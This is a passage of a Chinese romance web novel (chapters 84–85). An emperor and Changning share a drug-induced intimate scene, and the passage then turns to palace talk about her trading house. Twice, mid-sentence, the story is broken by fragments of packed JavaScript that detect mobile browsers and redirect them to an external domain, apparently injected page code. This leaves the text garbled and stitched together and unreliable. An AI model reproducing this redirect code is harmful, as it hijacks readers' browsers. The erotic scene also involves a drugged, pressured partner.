安亲王止住步伐，回首一笑，面上一派淡然，不见丝毫落魄。 常宁松了一口气，“多谢殿下好意，但我与陛下情深如许，恐怕要辜负殿下了。” 身旁还有宫女跟着，常宁没敢说太多。虽常宁心下也多有不乐意之处，但总归不想再连累旁人。左右以目前的情况来看，常宁应付得过来。 安亲王道：“不必言谢，本王也只是报恩。往后若有事，尽管向本王来信。” 常宁口上应下了。人多眼杂，不过须臾功夫，二人便就告别。常宁一个人进了凉亭，无聊地摇着团扇。 不远处三人从花荫后绕出。 云策步子最急，也最先止步，立在亭台几步，满目惊奇地看着常宁，“你不是在骗我吧？” 常宁点点头：“骗的就是你。” 不等其余两人开口，常宁就一一打了招呼。三句“哥哥”一出口，常宁忍不住先笑了起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149868|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不由便忆起数日前姜夫人同她讲的，这三人当年争先恐后地上门要给英国公夫妇养老送终。夫妇二人经不过痴缠，无奈之下只得应允，认作义子。 常宁如今，可是有三个哥哥了。 一时四人脸色异彩纷呈。 常宁便将对安亲王的说辞又说了一遍，笑道：“改日请你们吃喜酒。时辰不早，我先回去了。” 路上却撞见来寻的李稷。 他二人便于庭中信步，不知不觉走至一方明湖，湖中漂满了或淡黄或桃红或青绿的睡莲，莲下有游鱼翕动。 李稷伸手一指，淡笑道：“上次与你一同到太傅府上，你就在这处钓鱼。” 常宁已然不记得了，只是笑着附和。 正说话间，忽有个清俊文人急冲冲上前，隔着重重侍卫跪下，“微臣林方俊，拜见陛下，拜见皇后娘娘。” 侍卫本欲拿人，李稷眸中闪过笑意，“你且上前来。目力不错，隔着这般远，还能看见朕与皇后。” 林探花本是有意讨好，越制而为，毕竟如今连封后诏书都没下。但陛下显然对他这句“皇后”十分满意，于是便愈发用力，用出毕生所学，将眼前二人夸得天造地设一对，末了期期艾艾问道：“陛下，臣的调任文书还未出，不知微臣将去往何处？” 没人比林探花更清楚他究竟有多冤枉，是以在常宁出场的一瞬间，林探花明了了皇帝的用意。多年苦读，被皇帝一句戏言毁于一旦，往后再难走清流之路，林探花却不敢有丝毫怨怼。 要说他冤，他却觉得自个也不算太冤，他这些日子，同太后和先帝朝的三皇子来往甚密，乃至一些直言进谏的奏折，如今回想，也并不算公正，只是一味抹黑人罢了。 常宁对这些没兴趣，也没心思听他们的对话，更没心思去坏李稷心情就是了。临拜别前，忽有阵阵雾一般轻薄的香气从林探花处飘来，常宁问：“你熏的什么香？” 林探花忙就献上来，自有内侍拿去审验。这是他为给太傅祝寿备下的礼，原是防着递上去的礼出差错才备的，如今献给常宁，也并不寒碜。 常宁不喜欢听他一口一句娘娘地叫着自己，碍于李稷一直在身旁拉着她手腕，遂就忍了，只别过头去说累了。 回宫后，燃了那香，气味倒也清雅，仿若雨后山竹中游荡的青雾扑面而来，凉湛湛轻悠悠的，带出常宁几分怅然来。 李稷爱常宁，可常宁扪心自问，她又爱他吗？却是给不出个答复。 更像是一种茫茫然的平淡。李稷同公孙谨那些人也无甚区别，无非站得更高些、权势更大些。要说对他的爱欲，常宁又捉不到几缕。 入秋清寒的天，常宁忽觉出些燥热，换了寝衣仰卧在榻上，盯着床帐，默默地想，若再将今日说的话多说几遍，也许有一天她真的很爱李稷也说不定。 84. 坚持！ “怎么回事？” 常宁自夜间沐浴盥洗过后，就再未出过寝殿。宫侍以为人睡下了，入内熄烛火，才发现常宁双眸紧闭着，腮边满是细汗。 太医道：“今夜燃的香，同娘娘之前用的香相冲。单用任意一味香，都是不可多得的清雅珍品。但两香合用，大多是风流子寻欢作乐最爱用的香。” 常宁嗓音沙哑，睁眸道：“你开些药来。” 太医拱手，“娘娘，非是微臣不肯，只是事发突然，煎药甚费功夫，恐怕来不及。为今之计，当是纾解为妙。” 宫侍渐次退下，太医也退出了寝殿，只余下烛火劈啪作响。 常宁咬唇，撑着绣褥欲做起，颊边染上绯红。 李稷手方才挨上常宁肩头，就被常宁拂开了。 “弄些冷水来，我洗一会儿。” 李稷道：“已入秋，该防着邪风入体。何况你从前用的药太霸道，不好再着凉。” 常宁皱眉，“你出去就是。” 他竟也真的出去了。 井水寒凉，甫一进入，就有刺骨的寒意袭来。常宁只是待了一小会儿，就从里面出来了。这时候得了风寒，兴许这个秋冬都不会太好过，未免太不值当。 李稷立在殿门外，凤眸望着夜幕繁星，心神却全然扑在殿内的声响上，听着常宁的脚步声渐远，接着是哗哗的水声，而后那脚步又渐渐近了，半炷香功夫都没有动静。 须臾，内殿传来一道几不可闻的啜泣声，李稷推门入内。 常宁扯着锦被盖在身上，瞪眼问道：“谁许你进来！” “哭什么？”李稷一步步逼近床榻，伸指抹在常宁潮湿的眼角上，指尖一片白腻绯红，忆起方才一晃眼的白，笑道，“你求我，我来帮你。只是件小事，不值当你哭。” 他的气息太滚烫，常宁偏头躲过，桃花眸半垂，“我就是生气，近来做什么事都不太顺。” 李稷依旧淡笑。常宁近来都在宫中，所说事事不顺，不过是在他身边不够开怀罢了。 那她想如何呢？豢养私宠吗？ 常宁低声道：“你先出去，别再进来。” 李稷卷着常宁潮湿的发丝，笑道：“整座皇城都是朕的，朕为何要出去？” 常宁泪水半漫，想再去擦一擦冷水，又不好当着他面做，兀自咬唇犹豫良久，方才小声道：“那你快点。” 李稷一时没反应过来，长眉微蹙，待见了常宁含羞带怯地避着他的眸光，才知是应允了，朗声笑道，“自然依你。” 掀开锦被，凉意扑来。常宁闭着眼睛，听他在殿内走动，复又渐渐靠近，定在榻边很近的位置。 “莫怕，是太医给的。” 手握瓷瓶，李稷微微出神，忆起太医的叮嘱，恐伤到常宁，这才免于其难接受了。 常宁嗓音微颤，紧闭的眼睫也不停翕动，“你……你做什么？” 青釉细颈瓶美丽高洁，片片冰裂纹宛如青蓝海面上粼粼的波光，又如冰面碎裂时的龟痕。 李稷拨开红布塞子，指腹摩挲着冰凉纤细的颈面，感慨做工精湛的同时，看向了常宁。 “睁眼。” 常宁脖颈亦是纤细柔美，此刻香汗淋漓地静靠在枕面上，贝齿轻咬朱唇，眉尖微蹙，一臂横压身前，似是在忍耐一种难耐的愁苦，眸光泛着层濛濛的水雾。 一立一卧，常宁的脖颈，同李稷手中这枚青釉的细颈几近等同。李稷牵唇露出个笑来。 “求我。” 临约反悔，常宁暗暗唾弃，脸颊绯红，鲜红润泽的石榴一般，低头咬牙切齿，“不用你管。” 李稷好整以暇，“那你可怎么办？” 她挑剔，事事都要最好。而他最俊美，最高大，最健壮，甚至还同她有过十余年的情谊，也同样为她着迷。 常宁哼了一声。她这声柔软，沙哑，又带着丝丝缕缕的诱惑，全然失了平日冷哼时高高在上的凌人气势。 “反正你出去，有的是人乐意效劳。” 李稷脸霎时黑了。 常宁只闭上眼，竭力平缓呼吸，压下一阵阵的热潮。 一抹冰凉，猝不及防地贴上肌肤，所过之处激起片片颤栗，却又突兀地停下，深入。 常宁不可置信地睁大眸子，红唇微张，呼吸凌乱，就要挣扎，忽被李稷制住了四肢。 那种难堪的滋味，凉滑与滚烫的相遇，叫常宁指尖都是颤的，垂着眼避开与近在咫尺的李稷对视，推搡道：“下去！” 李稷颇有些委屈：“不是我。” 常宁推得李稷一跙趔。 李稷撞在紫檀木博物架上，一应珍宝在隔出一片片烛月光辉的格子中晃动，青釉冰裂细颈瓶也骨碌碌在地砖上打转，洒下一线断断续续的水渍。 常宁胸口起伏不定，既羞且气，更有浓浓的委屈，腮边珠泪滚滚，“你现在就出去，出去！谁许你这么羞辱我！” “不是我。” 李稷仔细绕过瓷瓶，半搂着常宁细腻肩头，张口卷去点点泪痕，惹得常宁更是推拒。 “别动了，”李稷沉声道，“晃得我眼花。” 常宁憋得脸烧红，“你是真心帮我吗？还是太医开错了药？怎么越来越热？” 李稷只道：“自然是真心相助。太医的药，想来也无碍。” 实则他心下也隐隐担忧，伸手抚上常宁额头，滚烫滚烫的。但她浑身都是浓烈的绯色，李稷暗自思忖是否要传个女医再来一趟。 常宁埋怨道：“你出去，我自己忍，弄得谁忍不了一样，净整些没用的。” 李稷道：“你这殿里太闷，回头给你换个更通透的寝殿。朕出去透透气，待会儿再来。” 刘总管还在殿外，默默掐着点呢，见人不到一炷香就出来了，面上神色还并不算太好，连忙笑着迎上去，“陛下，这是出了什么事？” 李稷招手，在刘总管耳边低语，“……这是为何？如今宫里那个女医值宿？” 刘总管唇边笑意僵了一瞬，好险又维持住了，“陛下，您随老奴来。” 不由便暗叹，怎生疏忽在这里。陛下自小就孤零零的，少时也无心情爱，又无人留意，闹出这么一件事来。 进了偏殿，宫灯上罩竹骨轻纱，朦朦胧胧一室光晕，暖融融偏昏暗，案上一摞合起的书册。 刘总管领着宫侍退下去，“陛下，您看了就知了。奴才们都守在外面。” 李稷信手翻开一页，悄然抬眸望向四方，一顿后继续看，越翻越快，耳根悄然红了。 等淡然出殿，李稷再望向寝殿方向，竟多了几分忐忑。 进殿时，常宁披着玉白寝衣，坐在大开的窗边，正歪了头拿长巾擦拭发丝，听了动静回头笑道：“你看，我就说是你坏了我的事，我多么清心寡欲一个人，小小熏香，能奈我何？偏你要拿什么邪门法子来骗我。” 她面上还透着丝丝缕缕的红，但并不如她所说大好了，只是略比之前好上些许。 李稷说：“没骗你。不是邪门法子。” 常宁不信，随意扯了扯唇角，淡淡应了一声。她今晚心绪不佳，没心思顺着李稷，也没空故作黯然逗他难受，万事且随他去，不来烦着她就好。 但这样随心所欲，反而比从前更鲜活，叫常宁心头也生出一丝快意来。 李稷袖中还藏有一卷，遂就拿出来，置于案上，与常宁同坐，揽了常宁去看。 常宁往常看的话本都是千篇一律的才子佳人，看上几本就能猜出走向来，又都是托书剑买的，最多花前月下一撷芳泽。更多的却是没有。 而今见了这梦幻一般的书册，因着心绪不佳，常宁反应也只是平淡，“看我做什么？” 李稷收回视线，“莫非你见过？” 常宁说：“现在不就在看？” 李稷道：“朕也看过。” 常宁道：“我当然知道。我还知道你试过呢。但你没我厉害，我还能写，写出来还能大卖。” 虽则是李稚写的，但常宁当日已经冒名认了，说出来也十分自信。 李稷双手按在常宁肩膀上，带常宁转头和他对视，“没有，我没试过。我也是今日才看。” 常宁大概明白李稷的意思，但始终有些兴致缺缺，掩唇唔了一声，“如何？” 李稷嗓音发紧：“我帮你。” 常宁垂眸望着两人相扣的手，一时也无甚可想，又去看窗外星月，“好啊。那我想你快一些，等会儿我要休息。” 李稷凤眸明亮，如燃着一簇焰火，唇角扬起，如醇厚的美酒，轻声呢喃，“宁宁。” “嗯。” 他一连叫了几声，常宁都答应了。 侧眸注视常宁如玉面庞，李稷忽觉胸中一股难掩的热潮，绕膝抱着常宁往榻上去，放下重重纱幔。 摇曳的烛火，凉滑柔顺的发丝铺将在绣褥上。常宁脸颊蹭过枕面上的发丝，感受到残留的水汽，中和了阵阵热浪。 李稷止不住发笑。眼前人朱唇素指，态若春云，轻轻抬眼一望，教人肌骨俱酥。不由便俯身含上那唇，细细研磨。 他早想为常宁梳云鬓、扫蛾眉，亦乐意为她点朱唇、染丹蔻，但常宁一样都不许。还有那些煎茶赏雪的闲事，哪怕李稷独自一人，也没兴趣的。可若同常宁一起，即便是最无趣的事，也都变得兴味盎然。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165795|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可惜，她从不肯如他的愿。李稷须得违心冷着淡着，才能换来常宁一回眸。 明知道常宁待他的每一个笑颜都有所图谋，明知常宁是有意让他难受，李稷还是甘之如饴。 指尖滑过常宁单薄的肩头，沿着玉白寝衣交叠的衣领描摹而入，忽地往上一握，轻抹慢挑。 二人皆是一震，撞上彼此颤巍巍的眸光，俱如电流划过，道不出的酥麻。 终是李稷开口道：“莫怕。无碍。” 常宁环上李稷脖颈，手指抚在他乌黑鬓角，又沿着入鬓长眉按过来按过去，水润眼眸一直望着李稷眉眼，倾身轻轻亲上李稷唇角，若即若离。 须要如此么？抛弃她那些未曾谋面的男宠们。 罢了，至少他生得好，不说话时看着养眼。 常宁卸力欲离。李稷手指穿过常宁发丝，罩着后脑用力拥吻。不多时，二人便气喘微微。 “你有没有给许荇寻先生？” “已安排妥当了。你若喜欢她，不如我封她为公主，入宫陪你？” 常宁摇头，“我没这个能耐，做不了她的娘亲。何况她也有自己的想法，世人眼中的好事，在她看来却未必如此。” 英国公夫妇独爱常宁一个，常宁不知自己未来是否会有子嗣，但无论此子是否同常宁血脉相连，常宁都想为此子保留独一无二的爱。 可常宁如今，连自己的未来都看得不真切，不愿潦草决定。 “你喜欢小孩？我们也能有个孩儿。”李稷本是寻些话，这一问却出了神，不由便想着来年同常宁携幼子游乐，四时节气待时而动的乐处来，意动不已，眼眶也微热，荡着莹莹碎光注视常宁。 常宁看出他的期待，“这倒不急。” 恍若一盆冰水兜头浇下，李稷心上发寒，唇边笑意不变，“是，不急。”低头吻下。 他的气息滚烫灼热，力道也大得惊人，颗颗汗珠沿着发丝滑落。常宁偏头避开，瞧见李稷撑在身侧的手，有青筋浮动。 按着那书卷上所写，将柳腰款摆，花心轻拆，露滴牡丹开。他早先又依了太医的话，指腹揉搓间，已是芙蓉著雨，春色无边。 “莫怕，我慢些。” 李稷深知，能同常宁至今，并不是因他多高尚，也不是因他多光风霁月，只是因他足够卑劣，而常宁又太重情。这些日子里，常宁极少提及父母亲友。但她实实在在地待在宫里，却也是因为他们。 压下半涩半喜的心绪，正待要往下，却见常宁秀气的双眉蹙着，忽地偏了头去，眼角滚下泪来，在泛着潮红的肌肤上拖出泪痕。 “怎么了？”李稷顿住，扯过锦被给常宁盖上，退到不远不近的位置，拿帕子拭去泪珠。 常宁随意拎了个借口，敷衍道：“今天日子不好，我不高兴。” “是我不好，唐突了你，”腮边满是苦涩，李稷笑着，将常宁的衣衫玉簪捡在榻沿，“你可有愁闷之事？或是我哪里弄疼了你？” 常宁摇头。她本以为男女之事大抵是难堪的，今日方知不尽如此，这才后知后觉反应过来为李稷放弃那些男宠们有多亏，一时大憾。兼之本就心有不甘，又连日心绪不佳，叫这件憾事一点，原先舒服的乐事也变得难以容忍起来。 但似这般，常宁也有些无措，却是欲哭无泪了，“您从前说我太多情，想是真的。” 那句滥情，常宁才不会认。试看天下多少人三妻四妾，有些荒唐的，家里妾室就能有几十个。她只是不想只拥有一个可有可无的人罢了，哪里有什么错？ 李稷脸色冷了一瞬，终究看不得常宁满脸恍惚，咬牙道：“非是太多情，只是独具慧眼，能时时瞧出旁人的长处来，起了惜才之心。此乃天赋异禀，何须忧虑？” 常宁竖着耳朵，却听不着下文，拉住李稷，眼眸水润清亮，“只有这一点吗？你再夸夸我。” 李稷道：“夸不出。早些安歇。”语罢，便大跨步打帘出去了，踩得六方地砖带出渗人的声响。 出了殿，四下里望望，只绕路回养心殿批折子去，直到五更时分才打住。 李稷掷了紫檀狼毫笔，低声道了句没用，便着人温酒来。 再过一个时辰，公鸡才会打鸣。李稷手执酒盏，盏中清酒荡开涟漪，眼前浮现的，却是常宁落泪时鼻尖通红的模样，一时没握稳，酒水都洒了。 常宁夜里糊弄人的鬼话，李稷一句都不信，亦知常宁心中苦闷并未道出口。 李稷原该怒的，胸中却涌满了怜惜悔恨，最终只余下一个念头。 常宁在宫里，确实是不开怀的。 而他，既不想放常宁走，又不愿常宁忍着委屈待他曲意逢迎。 85. 坚持！ “殿下，我妹妹真在这儿？” 宫道上，微风轻拂，孟娴侧目，望向秾丽的公主。 公主身旁，除了举着仪仗开道的宫人和近身女使，还有一神清骨秀的玄衣男子。 李稚拿团扇在面前扑了扑，好笑道：“知道本宫要探望表姐，怎么一个两个都求到本宫面前来？” 孟娴默然，只是望着天际抿唇笑着。 张侍玉道：“我们商行里还有要务等着东家处理。” 李稚摆手，步子快了几分，“行了行了，你们俩，一个闷葫芦一个字也不说，一个口中没一句真言。等见了表姐，你们自己说去。” 说话间，就到了毓庆宫。毓庆宫极大，回廊环绕，亭台楼阁林立，处处都经过精心设计，若非有宫娥在前领路，几人只怕要在毓庆宫里迷了路。 常宁正在修剪花草，听到声音转头看来，顿时笑道：“怎么这么多人？我只是想叫清河过来问些事。都坐，不必拘礼。” 李稚紧挨着常宁落座，“什么事呀？” 常宁说：“你广募医女，可还缺银钱？我赠你些。” “不怕我侵吞了去？”李稚抱着常宁胳膊笑道，“银钱自然没有嫌多的，但我们也还算应付得过来。孟姑娘可是捐了不少银子。” 常宁拱手道：“多谢姐姐相助。” 孟娴忙侧身回避，“该我谢你才是。” 她也是后来才知道，她手里的几间铺子，大多是常宁转赠的。常宁外祖家虽然殷实富有，但为防止子弟借收义子义女敛财，早就立下了规矩，族中不会给义亲拨款项。 多年经营，孟娴的绣坊每日能挣上不少银子，寻不到常宁踪迹，恰巧得知公主要招募医女，便聊以寄托。 李稚指一指张侍玉，笑道：“好了，让他来说。都说完了，我好和表姐玩。” 张侍玉道：“亏本了。” 莫说另外两人，就是常宁也没听懂，“哪个亏了？商队吗？” “商队没亏，护送西番瓜亏了。” 这是早便知道的事，常宁笑笑：“你对我有意见？” 顶着三人的目光，张侍玉别过头去，“没有。只是你不在，大家伙没个主心骨。林老爷还说，东家是抛下了我们，往后不再打理余记了。” “狗屁！”常宁一锤桌子，“他林长庚就那点家产都看得命根子一样，还敢撺掇着我犯糊涂！” 张侍玉抬眼问：“那你什么时候回去，东家？大家伙托我来问一句。” 若说三年前，张侍玉对常宁还存有绮思。但如今，这点执念早已放下，全心扑在余记和济幼堂上。 犹记年少时，他父母双双遇害，不得不一人一剑千里逃亡。那段日子，张侍玉对外都口称为仗剑壮游山河。内里的辛酸苦楚，不足为外人道也。后来跟着常宁一起忙前忙后地打理余记，兼之清楚常宁确实对他无意，心思就渐渐转到别处了。 常宁说：“我做不了主。这些日子，还要麻烦你代我多上些心。交给旁人，我不放心。我知道你对济幼堂更上心，但余记是根茎，济幼堂为枝叶，本固方能枝荣，才是长久之计。” 张侍玉道：“有你在，余记才是余记，济幼堂才是济幼堂。你若不回，不如早早散伙了去。你自去做你的皇后娘娘，我还带着人回千机阁去。” “侍玉！”常宁打断他，“旁人不知，你还不知吗？” 张侍玉转头，“确然不知。” 一时惊呆了李稚和孟娴。二人忙一人拉一个，孟娴带着宫娥，半拖半请地领张侍玉去了茶室品茗。 李稚对这波偏架十分满意。这外面美景无边，风里都带着花果香，可不比那茶室好多了。见常宁皱着眉一副沉思模样，李稚遂挽着常宁往秋千架上去，抓着纤绳和常宁闲聊。 “表姐，我在京城也时常听说你们余记，没成想是你的。这才不到四年，竟就这般声势浩大了。怎么做到的？” 常宁笑笑，随意荡了两下，偏头神神秘秘回道：“唯素心耳。” 李稚抓心挠肺，“你怎么还糊弄我，我又不是小孩子了。” 常宁目中染上回忆，“要花很多心血。说来也是我时运不错。” “昔年我想开书院，赔得血本无归，便将精力放在和西域通商上。我和侍玉找燕叔打探了消息，又找周盟主雇了些可靠的兄弟姐妹送镖，护送着商队来往，赚的银钱一部分扩大商队，一部分在并州当地做其他生意。如此往复，一年功夫，已是小有成就。” “侍玉从千机阁来。千机阁还留下许多不习武的匠人，我就都接了来，每月开着工钱。当时陛下已经即位有些时日了，整顿吏治、严明法令、打击游侠，周盟主手下许多人失了生计，我便雇来做镖，几乎掏空了积蓄。当时林长庚见我面色都好了许多，许是笃定了我余记活不长久。” “但我们还是撑下来了，生意做得比从前更甚，林长庚都险些压不住我们。可惜那年夏秋大旱，并州城内饥民无数，树皮都被扒了个干净，每日都有人隔着墙头在我窗外饿死。” “我想着这样也不是个头，就把名下米坊谷坊一类的铺子和暂且运营不下去的铺子关停了，白日让百姓乘凉休憩，夜里用了米粮上山下水，或以木石造房，或从百里外引水入并州城。今岁已指望不上，只盼往后诸年，并州城不会再如此。” 李稚掩唇惊呼一声，“好险呐！” 她生来就是公主，享尽荣华富贵，但时常和英国公府来往，近些年也有自己经营庄子铺子，自然知道此举有多险。 便是一着不慎，赔上全副身家，也只是小事。 “还好，”常宁安抚道，“我变买了许多家产，还向官府和私家借贷。有天机阁的匠人在，测算河道、设计路线、改良工具，都如虎添翼。何况还有江晚照，他科考后适应不了官场，无意间与我相遇，我便也请来了，算是事半功倍。又有周盟主带着许多江湖人来镇场子，组织着流民不许作乱，这才让我做成了事。” 李稚睁眸听着，接道：“后面我就知道了。那条渠是乡民请表姐命名的，朝廷还颁了块‘义商’的匾额。再之后就有了济幼堂，一直到如今，余记之名如雷贯耳。” 常宁笑了，轻轻呼出一口长气，“这不是我一个人的功劳，也不是我一个人的余记，许多人都依靠它谋生。我不能，也不会放弃它。” “只是时运不由人。我之挫败，就在于此。” “但没关系，我想要什么，我自己会去取的。” …… 养心殿里，李稷已经静坐了许久，久到刘总管腿脚发麻。 就在刘总管适应了这寂静之后，李稷忽地问：“大伴，我该如何是好？” 刘总管眼眶一红。虽未明指，他还是能听出，这问的是常宁。 他已经很久没听过陛下这样叫他了。大伴，陛下幼时常这样唤他，总说若有什么想不明白的，便来问大伴，大伴总会知道的。 其实刘总管一个大字不识得几个的太监，又哪里知道多少呢？只是陛下无人亲近，也无人诉说罢了。 “陛下，奴才斗胆妄言，愿您勿怪。” “说。” “陛下，英国公府家教甚严，子孙大多品行端方，皇后娘娘亦是如此。听闻老英国公在世时，常指着娘娘说，娘娘有先祖遗风。何况娘娘进学时，样样出挑，几无短板，又每每多有义举，如长风之于大鹏、伯乐之于千里马。” “你是说，我苛待了她？”李稷道，“我只是想和她在一起，想给她最好的一切，也想和她有个孩子。她却似乎 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“早去早回。” 没料到事情这么顺利，常宁忍不住笑起来，“多谢了。” 李稷忽觉这句谢刺耳，问道:“你去做什么？” 常宁怕他反悔，便原原本本地告知了，“处理些杂事。还有当地一家富户，相争多时，该回去做个了解。” 李稷道:“一个月够吗？” 常宁颇为惊奇，焉能不答，“略有些紧张，倒也还行。” “那便多待些时日，妥善地处理了再回京。”常宁口中的富户，李稷也清楚是谁，只是常宁当他不知道。她不说出人的名姓，李稷亦知，这是不愿他插手打压旁人。 来时纷乱的心绪，在见到常宁这一刻，全都平静下来。 常宁捧着李稷脸颊来回看，伸手探了探人额头，“我觉得你今晚不太一样。”她又凑近了，和李稷脸对着脸，眼睛对着眼睛，轻声问:“是有烦心事吗？哪里不顺意？” 李稷胸中的苦涩，仿佛都随着常宁的的轻言慢语片片消解，紧搂着常宁，“只是舍不得你。” 常宁笑道:“你别担心嘛，我又不是不回来。” 李稷眸光一直落在常宁面上。 若常宁面前的不是他，而是旁人，她可还会这样笑？似乎是的。这笑，对他，对李稚，乃至对宫外那个剑客，都是一样的。甚至于面对他时，更多了些许小心。 可李稷既不愿做常宁的随波逐流，也不愿做常宁的随遇而安。他很贪心，他想要的，是他之于常宁，便如常宁之于他，一举一动都能牵动心魂。 “你自去做你的事，每两月回来一次就好。” “我不拘着你。”李稷这声低低的，几不可闻。 常宁还是听到了，歪头仔细打量李稷，见他说这话时神情不似作假，道:“两个月不好。我一来一回，路上能耽搁许久，还不如你盼着我早些把生意做到京城来。” 李稷压低声，“不行。至多每三月往返一次。” 常宁笑道:“你怎么这么呆？我不找你，你不知道来找我吗？” 李稷欲反驳，待抬眼见了常宁唇边融融笑意，忽而又一个字都说不出口，只是又揽着常宁，细细拥吻起来。 他几乎不可自抑地去想往后。时而想常宁路上是否艰难，时而想常宁在并州是否顺利，时而又想常宁会遇到哪些人，是否又会移情别恋，不觉便眼眸湿润。 可望见常宁清透的桃花眸，李稷却又心中一定。常宁一诺，重于千金，她既默许了他，便不会再让旁人有机会走到他跟前来。 余生漫漫，总有一日，他会如愿。